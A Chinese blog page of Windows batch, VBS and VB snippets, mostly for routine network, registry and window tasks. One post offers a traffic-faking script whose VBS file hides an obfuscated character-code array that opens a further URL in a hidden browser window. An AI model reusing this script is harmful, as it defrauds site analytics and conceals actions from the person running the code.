洛阳翼展电脑

批处理修改IP地址/子网掩码/网关/DNS/WINS

2019-8-3 乱云飞 评论(0) 浏览(702)

@ echo off 
rem 设置变量 
set Nic=本地连接 
set Addr=192.168.1.188
set Mask=255.255.255.0 
set Gway=192.168.1.1
set Dns1=114.114.114.114
set Dns2=8.8.8.8
set Wins1=192.168.1.1
set Wins2=192.168.1.1 
rem //以上依次为IP地址、子网掩码、网关、首选DNS、备用DNS、首选WINS、备用WINS 
echo ------------------------------------------------------ 
echo 正在进行网络设置，请稍等...
echo. IP地址 = %Addr% 
echo. 子网掩码 = %Mask% 
netsh interface ip set address name=%Nic% source=static addr=%Addr% mask=%Mask% >nul 
echo. 网关 = %Gway% 
netsh interface ip set address name=%Nic% gateway=%Gway% gwmetric=1 >nul 
echo. 首选DNS = %Dns1% 
netsh interface ip set dns name=%Nic% source=static addr=%Dns1% register=PRIMARY >nul 
echo. 备用DNS = %Dns2% 
netsh interface ip add dns name=%Nic% addr=%Dns2% index=2 >nul 
echo. 首选WINS = %Wins1% 
netsh interface ip set wins name=%Nic% source=static addr=%Wins1% register=PRIMARY >nul 
echo. 备用WINS = %Wins2% 
netsh interface ip add wins name=%Nic% addr=%Wins2% index=2 >nul 
echo ------------------------------------------------------ 
echo IP设置完成! 
cmd /k

bat批处理判断系统位数

2019-8-3 乱云飞 评论(0) 浏览(869) 标签: 批处理 判断系统版本 系统位数 64位 32位

@echo off
rem 判断64位系统和32位系统
if /i %PROCESSOR_IDENTIFIER:~0,3%==x86 (
echo 32位操作系统
) else (
echo 64位操作系统
)
pause

更改计算机描述

2019-8-2 乱云飞 评论(0) 浏览(564) 标签: 批处理 注册表 更改计算机描述

reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\lanmanserver\Parameters" /v srvcomment /t reg_sz /d 描述文字 /f

两种方法更改桌面壁纸

2019-8-2 乱云飞 评论(0) 浏览(592) 标签: 批处理 更换桌面背景 桌面壁纸

@reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /d %~dp0ez.bmp /f
@RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters

---------------------------------------------------------

cd /

cd %~dp0
copy ez.bmp C:\ez.bmp
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /V Wallpaper /D C:\ez.bmp /F
RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters
cmd /k

激活窗口，只写窗口标题前半部分就行

2019-8-2 乱云飞 评论(0) 浏览(631) 标签: 批处理 VBS 激活窗口

Set WshShell = CreateObject("WScript.Shell")
WshShell.AppActivate "任务管理"

WshShell.SendKeys "{Enter}"

-------------------------------------------------------------------

'<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<激活窗口
Private Sub jihuo()
Set www = CreateObject("wscript.shell") '-------------------定义shell
Shell "cmd.exe /c echo Set www = CreateObject(""WScript.Shell""):www.AppActivate ""EZSOFT"">%TEMP%\app.vbs", vbHide
Shell ("cmd /c %temp%\app.vbs"), vbHide '//激活窗口
End Sub
'>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

百度里找到了一个很久以前写的批处理

2019-7-31 乱云飞 评论(0) 浏览(524) 标签: 批处理 刷网站流量 刷网站排名

以下红色部分代码保存为：shua.bat
===========================================
@ title 网站刷流量排名工具
@ echo ----------------------------------------------------------
@ echo 网站刷流量排名工具。如需帮助请联系 QQ 345794501
@ echo ----------------------------------------------------------
@ color 0A
@ echo off
@ rem ---------- 设置名称,帐号,密码,延迟时间 ----------
@ set 连接名称=中国网通
@ set 宽带帐号=13213610060
@ set 宽带密码=123456
@ set 延迟时间=15
@ rem ---------- 以下部分不要修改 ----------
:start
@ Rasdial %连接名称% %宽带帐号% %宽带密码%
@ start shua.vbs
@ ping 127.0.0.1 -n %延迟时间%
@ Rasdial %连接名称% /disconnect
@ taskkill /f /im IEXPLORE.EXE
@ rem 循环
@ goto start
===========================================
以下黄色部分代码修改后保存为：shua.vbs
===========================================
Str = Array(83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,111,98,106,83,104,101,108,108,46,82,117,110,32,34,73,69,88,80,76,79,82,69,46,69,88,69,32,104,116,116,112,58,47,47,100,120,50,48,46,99,110,47,118,105,112,47,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)
'//请在下面设置要刷的网页，每行一个地址，不要超过10个地址。联系QQ 345794501 //
objShell.Run "IEXPLORE.EXE http://80c.cc/vip/free.htm",0
objShell.Run "IEXPLORE.EXE http://80c.cc/ceshi.htm",0

老虎抢亲程序代码

2019-7-29 乱云飞 代码 评论(0) 浏览(628) 标签: 老虎抢亲 VB代码　抢窗口

'被抢窗口需要提前启动
Private Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Sub Form_Load()
SetParent FindWindow(vbNullString, "新建文本文档 - 记事本"), Me.hWnd
Me.WindowState = 0
End Sub

修改网页内容代码

2019-7-29 乱云飞 代码 评论(0) 浏览(675) 标签: 修改网页内容 脚本代码

javascript:document.body.contentEditable='true';document.designMode='on';void0

谷歌浏览器使用方法: 

F12--->conlsole--->document.body.contentEditable = "true"--->回车即可编辑网页内容

批处理检测是否安装过 Microsoft.NET Framework

2019-7-11 乱云飞 评论(0) 浏览(771) 标签: 代码 批处理 检测 .net

@echo off
set checked=0
if exist "%windir%\Microsoft.NET\Framework\v1.0*" set checked=1
if exist "%windir%\Microsoft.NET\Framework\v1.1*" set checked=1
if exist "%windir%\Microsoft.NET\Framework\v2.0*" set checked=1
if exist "%windir%\Microsoft.NET\Framework\v3.0*" set checked=1
if exist "%windir%\Microsoft.NET\Framework\v3.5*" set checked=1
if exist "%windir%\Microsoft.NET\Framework\v4.0*" set checked=1
if %checked% EQU 1 (echo 已安装.NET Framework) else (echo 未安装.NET Framework)
pause>nul

百度网盘不限速下载

2019-7-10 乱云飞 电脑 评论(0) 浏览(671) 标签: 下载 百度网盘 不限速 资源搜索